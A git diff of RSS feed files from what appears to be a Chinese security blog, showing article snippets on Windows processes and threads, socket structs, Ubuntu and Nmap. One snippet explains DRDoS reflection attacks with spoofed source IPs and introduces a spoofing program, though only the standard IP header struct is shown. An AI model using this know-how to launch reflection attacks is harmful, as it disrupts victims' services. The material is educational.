+<p>在Windows中,系统通过句柄管理进程中的资源,句柄存储在内核空间中的一个全局句柄表中,而每个进程也都有一个句柄表,这个句柄表是私有的。</p> +<p><strong>PID</strong> 是指的是全局句柄表的值。</p> +<h3 id="进程执行的加载过程">进程执行的加载过程</h3> +<ul> +<li>1.映射EXE</li> +<li>2.创建内核对象EPROCESS</li> +<li>3.映射系统DLL(ntdll.dll)</li> +<li>4.创建线程内核对象ETHREAD</li> +<li>5.系统启动线程、映射DLL(ntdll.LdrInitalizeThunk)、线程开始执行</li> +</ul> +<h3 id="创建进程">创建进程</h3> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>BOOL <span style="color:#a6e22e">CreateProcess</span> +</span></span><span style="display:flex;"><span>( +</span></span><span style="display:flex;"><span>LPCTSTR lpApplicationName, +</span></span><span style="display:flex;"><span>LPTSTR lpCommandLine, +</span></span><span style="display:flex;"><span>LPSECURITY_ATTRIBUTES lpProcessAttributes, +</span></span><span style="display:flex;"><span>LPSECURITY_ATTRIBUTES lpThreadAttributes, +</span></span><span style="display:flex;"><span>BOOL bInheritHandles, +</span></span><span style="display:flex;"><span>DWORD dwCreationFlags, +</span></span><span style="display:flex;"><span>LPVOID lpEnvironment, +</span></span><span style="display:flex;"><span>LPCTSTR lpCurrentDirectory, +</span></span><span style="display:flex;"><span>LPSTARTUPINFO lpStartupInfo, +</span></span><span style="display:flex;"><span>LPPROCESS_INFORMATIONlpProcessInformation +</span></span><span style="display:flex;"><span>); +</span></span></code></pre></td></tr></table> +</div> +</div><h3 id="线程与进程的关系">线程与进程的关系</h3> +<p>进程是一个程序正在运行的一个实例,它提供了一块存储代码的空间,在进程被创建时,系统也会给进程创建一个主线程(primary thread),主线程负责执行代码,一个进程没有线程是无法运行的。</p>使用C语言发送伪造源IP的UDP请求及DRDOS拒绝服务攻击原理剖析https://payloads.online/archivers/2018-03-04/1/Sun, 04 Mar 2018 00:00:00 +0000https://payloads.online/archivers/2018-03-04/1/<h2 id="0x01-什么是drdos">0x01 什么是DRDOS</h2> <p>DRDoS是英文“Distributed Reflection Denial of Service ”的缩写,中文意思是“分布式反射拒绝服务”。与DoS、DDoS不同,该方式靠的是发送大量带有被害者IP地址的数据包给攻击主机,然后攻击主机对IP地址源做出大量回应,形成拒绝服务攻击。</p> <h2 id="0x02-drdos的攻击流程">0x02 DRDOS的攻击流程</h2> <p>DRDoS要完成一次反射放大攻击:</p> @@ -203,4 +506,71 @@ <p>假设有三个用户,Allen、Jerry、Tom.</p> </blockquote> <h3 id="jerry与tom一次正常的udp请求">Jerry与Tom一次正常的UDP请求</h3> -<p><code>Jerry说:</code>“我是Jerry,我的源端口是4787,我要向Tom的4478端口发送一个UDP报文”</p> \ No newline at end of file +<p><code>Jerry说:</code>“我是Jerry,我的源端口是4787,我要向Tom的4478端口发送一个UDP报文”</p> +<p>此时Tom的4478端口接收到一个UDP报文,需要回复内容,回复给谁呢,接下来需要根据报文中的IP头确定是谁发送的</p> +<p>通过Jerry的话确定发送方是Jerry,而Jerry的端口是4787,那么Tom就会将数据传送给Jerry</p> +<p><code>Tom说:</code>“我是Tom,我的源端口是4478,根据刚才接收到的一句话中,确认了发送人是Jerry,我把数据传送给Jerry的4787端口”</p> +<h3 id="allen进行一次rdos攻击">Allen进行一次RDOS攻击</h3> +<p><code>Allen说:</code>“我是Jerry,我的源端口是4787,我要向Tom的4478端口发送一个UDP报文”</p> +<p>此时Tom接收到报文,根据上面这句话确定了发送人是Jerry,目的端口是4787</p> +<p><code>Tom说:</code>“我是Tom,我的源端口是4478,根据刚才接收到的一句话中,确认了发送人是Jerry,我把数据传送给Jerry的4787端口”</p> +<p>这个过程当中,Jerry并没有参与通信,但是接到了一个从Tom那里发送过来的UDP数据报文</p> +<h2 id="0x04-编写一个伪造ip头的c语言程序">0x04 编写一个伪造IP头的C语言程序</h2> +<blockquote> +<p>/usr/include/netinet/ip.h</p> +</blockquote> +<p>这里面定义了IP头</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">20 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">21 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">22 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">23 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> <span style="color:#a6e22e">ip</span> +</span></span><span style="display:flex;"><span> { +</span></span><span style="display:flex;"><span><span style="color:#75715e">#if __BYTE_ORDER == __LITTLE_ENDIAN +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">int</span> ip_hl:<span style="color:#ae81ff">4</span>; <span style="color:#75715e">/* header length */</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">int</span> ip_v:<span style="color:#ae81ff">4</span>; <span style="color:#75715e">/* version */</span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">#endif +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#if __BYTE_ORDER == __BIG_ENDIAN +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">int</span> ip_v:<span style="color:#ae81ff">4</span>; <span style="color:#75715e">/* version */</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">int</span> ip_hl:<span style="color:#ae81ff">4</span>; <span style="color:#75715e">/* header length */</span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">#endif +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#66d9ef">uint8_t</span> ip_tos; <span style="color:#75715e">/* type of service */</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> ip_len; <span style="color:#75715e">/* total length */</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> ip_id; <span style="color:#75715e">/* identification */</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> ip_off; <span style="color:#75715e">/* fragment offset field */</span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">#define IP_RF 0x8000 </span><span style="color:#75715e">/* reserved fragment flag */</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define IP_DF 0x4000 </span><span style="color:#75715e">/* dont fragment flag */</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define IP_MF 0x2000 </span><span style="color:#75715e">/* more fragments flag */</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define IP_OFFMASK 0x1fff </span><span style="color:#75715e">/* mask for fragmenting bits */</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#66d9ef">uint8_t</span> ip_ttl; <span style="color:#75715e">/* time to live */</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">uint8_t</span> ip_p; <span style="color:#75715e">/* protocol */</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> ip_sum; <span style="color:#75715e">/* checksum */</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">struct</span> <span style="color:#a6e22e">in_addr</span> ip_src, ip_dst; <span style="color:#75715e">/* source and dest address */</span> +</span></span><span style="display:flex;"><span> }; +</span></span></code></pre></td></tr></table> +</div> +</div><blockquote> +<p>/usr/include/netinet/udp.h</p> \ No newline at end of file diff --git a/categories/c/c++/index.xml b/categories/c/c++/index.xml index 96431e0..4710345 100644 --- a/categories/c/c++/index.xml +++ b/categories/c/c++/index.xml @@ -48,4 +48,65 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">39 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">40 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">41 -</span></code></pr \ No newline at end of file +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">// ConsoleApplication2.cpp : 定义控制台应用程序的入口点。 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#75715e">#include</span> <span style="color:#75715e">&#34;stdafx.h&#34;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;iostream&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;Windows.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span><span style="display:flex;"><span>DWORD num <span style="color:#f92672">=</span> <span style="color:#ae81ff">100</span>; +</span></span><span style="display:flex;"><span>CRITICAL_SECTION cs; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>DWORD WINAPI <span style="color:#a6e22e">ThreadPro1</span>() { +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">EnterCriticalSection</span>(<span style="color:#f92672">&amp;</span>cs); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> (num <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0</span>) { +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>wcout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;Thread num :&#34;</span> <span style="color:#f92672">&lt;&lt;</span> num <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34; Thread ID :&#34;</span> <span style="color:#f92672">&lt;&lt;</span> <span style="color:#a6e22e">GetCurrentThreadId</span>() <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> num<span style="color:#f92672">--</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">LeaveCriticalSection</span>(<span style="color:#f92672">&amp;</span>cs); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">10</span>; +</span></span><span style="display:flex;"><span>} +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>DWORD WINAPI <span style="color:#a6e22e">ThreadPro2</span>() { +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">EnterCriticalSection</span>(<span style="color:#f92672">&amp;</span>cs); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> (num <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0</span>) { +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>wcout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;Thread num :&#34;</span> <span style="color:#f92672">&lt;&lt;</span> num <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34; Thread ID :&#34;</span> <span style="color:#f92672">&lt;&lt;</span> <span style="color:#a6e22e">GetCurrentThreadId</span>() <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> num<span style="color:#f92672">--</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">LeaveCriticalSection</span>(<span style="color:#f92672">&amp;</span>cs); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">10</span>; +</span></span><span style="display:flex;"><span>} +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">_tmain</span>() +</span></span><span style="display:flex;"><span>{ +</span></span><span style="display:flex;"><span> HANDLE hThread[<span style="color:#ae81ff">2</span>]; +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">InitializeCriticalSection</span>(<span style="color:#f92672">&amp;</span>cs); +</span></span><span style="display:flex;"><span> hThread[<span style="color:#ae81ff">0</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">CreateThread</span>(NULL, <span style="color:#ae81ff">0</span>,(PTHREAD_START_ROUTINE) ThreadPro1, NULL, <span style="color:#ae81ff">0</span>, NULL); +</span></span><span style="display:flex;"><span> hThread[<span style="color:#ae81ff">1</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">CreateThread</span>(NULL, <span style="color:#ae81ff">0</span>, (PTHREAD_START_ROUTINE)ThreadPro2, NULL, <span style="color:#ae81ff">0</span>, NULL); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">WaitForMultipleObjects</span>(<span style="color:#ae81ff">2</span>, hThread, TRUE,INFINITE); +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span><span style="color:#a6e22e">wprintf</span>(<span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;Success ... </span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>)); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">system</span>(<span style="color:#e6db74">&#34;pause&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="0x02-令牌api">0x02 令牌API</h2> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>CRITICAL_SECTION cs; // 创建临界区变量 +</span></span><span style="display:flex;"><span>InitializeCriticalSection(CRITICAL_SECTION *); // 初始化临界区变量 +</span></span><span style="display:flex;"><span>EnterCriticalSection(CRITICAL_SECTION *);//获取临界区变量 +</span></span><span style="display:flex;"><span>LeaveCriticalSection(CRITICAL_SECTION *);//离开临界区 +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="0x03-互斥体">0x03 互斥体</h2> +<p>CRITICAL_SECTION是在进程的虚拟内存空间的一种锁,互斥体(Mutex)是用于内核级资源(内核空间)的线程同步锁,如:跨进程间的读写内核级资源。</p> \ No newline at end of file diff --git a/categories/linux/index.xml b/categories/linux/index.xml index 1770f67..64f6191 100644 --- a/categories/linux/index.xml +++ b/categories/linux/index.xml @@ -30,7 +30,43 @@ <p>那么我们来看看它到底是什么?</p> <h3 id="套接字的地址结构">套接字的地址结构</h3> <p>刚才百科告诉我们,套接字用(IP地址:端口号)表示。</p> -<p>那么在网络编程中如何告诉计算机,什么是端口,什么是端口号呢?</p>渗透测试中使用Ubuntu的一些小技巧https://payloads.online/archivers/2018-03-18/1/Sun, 18 Mar 2018 00:00:00 +0000https://payloads.online/archivers/2018-03-18/1/<h2 id="0x00-前言">0x00 前言</h2> +<p>那么在网络编程中如何告诉计算机,什么是端口,什么是端口号呢?</p> +<p>于是出现了被计算机界公认的结构体,这个结构体保存在系统的标准库中:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;arpa/inet.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">struct</span> sockaddr_in +</span></span><span style="display:flex;"><span> { +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">__SOCKADDR_COMMON</span> (sin_); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">in_port_t</span> sin_port; <span style="color:#75715e">/* Port number. */</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">struct</span> in_addr sin_addr; <span style="color:#75715e">/* Internet address. */</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#75715e">/* Pad to size of `struct sockaddr&#39;. */</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">char</span> sin_zero[<span style="color:#66d9ef">sizeof</span> (<span style="color:#66d9ef">struct</span> sockaddr) <span style="color:#f92672">-</span> +</span></span><span style="display:flex;"><span> __SOCKADDR_COMMON_SIZE <span style="color:#f92672">-</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">sizeof</span> (<span style="color:#66d9ef">in_port_t</span>) <span style="color:#f92672">-</span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">sizeof</span> (<span style="color:#66d9ef">struct</span> in_addr)]; +</span></span><span style="display:flex;"><span> }; +</span></span></code></pre></td></tr></table> +</div> +</div><p>看起来还是比较复杂的,但是用起来一点都不复杂。</p>渗透测试中使用Ubuntu的一些小技巧https://payloads.online/archivers/2018-03-18/1/Sun, 18 Mar 2018 00:00:00 +0000https://payloads.online/archivers/2018-03-18/1/<h2 id="0x00-前言">0x00 前言</h2> <p>由于学习C、C++我喜欢在Linux平台,首选了Ubuntu这个发新版,目前已经做得很不错了,但是平常使用的时候会发现一些比较麻烦的事情。</p> <p>本文就把一些技巧分享、记录下来。</p> <p>操作系统版本:Ubuntu 17.10</p> @@ -57,4 +93,7 @@ </span></span><span style="display:flex;"><span>deb http://security.ubuntu.com/ubuntu artful-security main restricted </span></span><span style="display:flex;"><span>deb http://security.ubuntu.com/ubuntu artful-security universe </span></span><span style="display:flex;"><span>deb http://security.ubuntu.com/ubuntu artful-security multiverse -</span></span></code></pr \ No newline at end of file +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="0x01-右键">0x01 右键</h2> +<p><code>nautilus-actions</code> 是一个提供用户自定义鼠标右键菜单的软件。</p> \ No newline at end of file diff --git a/categories/nmap/index.xml b/categories/nmap/index.xml index 765513f..2f52fdf 100644 --- a/categories/nmap/index.xml +++ b/categories/nmap/index.xml @@ -37,4 +37,14 @@ <li>vuln 漏洞检测</li> </ul> <h2 id="0x03-nmap扩展脚本铺垫">0X03 Nmap扩展脚本铺垫</h2> -<p>相信网上已经有很多文章去写如何使用扩展脚本了,这块我不准备过多的铺垫。</p> \ No newline at end of file +<p>相信网上已经有很多文章去写如何使用扩展脚本了,这块我不准备过多的铺垫。</p> +<p>主要介绍如下几点:</p> +<ul> +<li>Nmap扩展脚本用途</li> +<li>Nmap扩展脚本使用方法</li> +<li>如何查看Nmap扩展脚本的Usage(使用方法)</li> +</ul> +<h3 id="0x03-1-nmap扩展脚本用途">0X03 [1] Nmap扩展脚本用途&gt;</h3> +<p>Nmap扩展脚本能够帮助我们实现更多定制化的需求扫描、结果的处理、漏洞的检测、漏洞的利用等。在0x02中已经列出了扩展脚本的分类,根据说明我们能理解一个大概,这些分类代表了Nmap各个方面的能力。</p> +<h3 id="0x03-2-nmap扩展脚本使用方法">0x03 [2] Nmap扩展脚本使用方法</h3> +<p>在很早之前,我写过一篇科普文章,主要介绍了Nmap的脚本分类、使用方法,链接:http://zhuanlan.zhihu.com/p/26618074</p> \ No newline at end of file diff --git "a/categories/web\345\256\211\345\205\250/index.xml" "b/categories/web\345\256\211\345\205\250/index.xml" index c6abb8a..9a19660 100644 --- "a/categories/web\345\256\211\345\205\250/index.xml" +++ "b/categories/web\345\256\211\345\205\250/index.xml" @@ -23,7 +23,31 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">20 -</span></code></prxssValidatorhttps://payloads.online/archivers/2018-10-19/1/Fri, 19 Oct 2018 00:00:44 +0000https://payloads.online/archivers/2018-10-19/1/<h2 id="0x00-前言">0x00 前言</h2> +</span></code></pre></td> +<td 